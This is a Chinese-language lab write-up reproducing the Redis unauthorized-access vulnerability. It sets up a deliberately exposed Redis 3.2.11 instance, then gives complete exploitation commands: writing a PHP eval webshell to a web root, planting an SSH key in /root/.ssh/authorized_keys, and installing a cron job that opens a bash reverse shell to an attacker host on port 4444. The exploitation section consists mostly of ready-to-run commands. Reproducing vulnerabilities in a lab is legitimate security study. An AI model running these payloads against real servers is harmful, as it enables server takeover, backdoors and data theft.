redis未授权访问漏洞复现

[TOC]

redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。

漏洞介绍

Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。  部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。

漏洞产生条件

1、redis服务绑定在0.0.0.0:6379端口,而且信任了其他IP,导致了Redis服务暴露在公网上

2、没有设置密码认证,可以免密登陆Redis服务

漏洞危害

1、导致敏感信息泄露,恶意执行flushall清空所有数据

2、通过Eval执行Lua代码,通过备份功能往磁盘写入后门文件

3、如果Redis服务以root身份运行,可以给root用户写入SSH公钥文件,直接通过SSH登陆服务器

环境搭建

靶机: centos7.5 阿里云 39.105.x.x 建议用centos

攻击机: kali2022

redis 3.2.11

1.下载安装redis

wget http://download.redis.io/releases/redis-3.2.11.tar.gz

2.解压压缩包

tar zxvf redis-3.2.11.tar.gz

3.进入解压目录redis-3.2.11 执行make命令

cd redis-3.2.11
make

image-20220426232909091

4.进入src目录

cd src

5.将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

cp redis-server /usr/bin/
cp redis-cli /usr/bin/

image-20220426233508159

6.返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下

cd ..
cp redis.conf /etc/

image-20220426234155118

7.使用/etc/目录下的redis.conf文件中的配置启动redis服务

redis-server /etc/redis.conf

image-20220426234331895

8.编辑etc中的redis配置文件redis.conf

vim /etc/redis.conf

去掉ip绑定,允许除本地外的主机远程登录redis服务 前面加#注释掉

image-20220430165832466

关闭保护模式,允许远程连接redis服务将yes 改为no

image-20220426235216372

最后重启下redis服务就ok

漏洞利用

首先测试下目标靶机是否存在未授权访问

image-20220430174535586

成功连接上了,下面开始进一步利用

1.写入webshell

写入一句话木马需要我们知道网站的根目录相对于服务器的绝对路径

image-20220430180627722

config set dir /www/wwwroot/39.105.71.63/
config set dbfilename sakura.php
set webshell "<?php @eval($_POST['pass']) ?>"
save

我的网站上成功出现了这个文件

image-20220430180643451

测试一下,可以成功连接

image-20220430181012266

2.通过写入ssh公钥实现ssh登录

到这一步,我使用的阿里云服务器出了问题,就自己搭建个靶机(centos 7)吧.

记得关闭防火墙:

sudo systemctl stop firewalld

原理:在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key.

扩展:

ssh免密登录流程:

  (1) 首先在客户端生成一对密钥(ssh-keygen);

  (2) 并将客户端的公钥ssh-copy-id 拷贝到服务端;

  (3) 当客户端再次发送一个连接请求,包括ip、用户名;

  (4) 服务端得到客户端的请求后,会到authorized_keys中查找,如果有响应的IP和用户,就会随机生成一个字符串,例如:qwer;

  (5) 服务端将使用客户端拷贝过来的公钥进行加密,然后发送给客户端;

  (6) 得到服务端发来的消息后,客户端会使用私钥进行解密,然后将解密后的字符串发送给服务端;

  (7) 服务端接受到客户端发来的字符串后,跟之前的字符串进行对比,如果一致,就允许免密码登录。

攻击流程:

1、首先在攻击机(kali)上生成ssh公钥

ssh-keygen -t rsa

image-20220430191709018

2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)

进入.ssh目录:

cd /root/.ssh

写入文件:

(echo -e”\n”;cat id_rsa.pub;echo -e “\n”)>key.txt

image-20220430192233869

3.将key.txt写靶机(使用redis-cli -h ip命令连接靶机,写入文件)

cat key.txt|redis-cli -h 192.168.0.106 -x set crack

image-20220430221009845

4.远程登录靶机的Redis服务

redis-cli -h 192.168.0.106

image-20220430221026832

5.更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

config set dir /root/.ssh

6.设置上传公钥的备份文件名字为authorized_keys

config set dbfilename authorized_keys
config get dbfilename

7.保存

save

8.在攻击机上直接ssh免密登录靶机,免密登录成功

ssh -i id_rsa root@192.168.0.106

最后我没有成功,但大致思路是这样,一直不成功我就先不纠结了。

img

3.反弹shell

redis-cli -h 192.168.0.106

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.108/4444 0>&1\n\n"

config set dir /var/spool/cron

config set dbfilename root

save

image-20220501003825941

成功反弹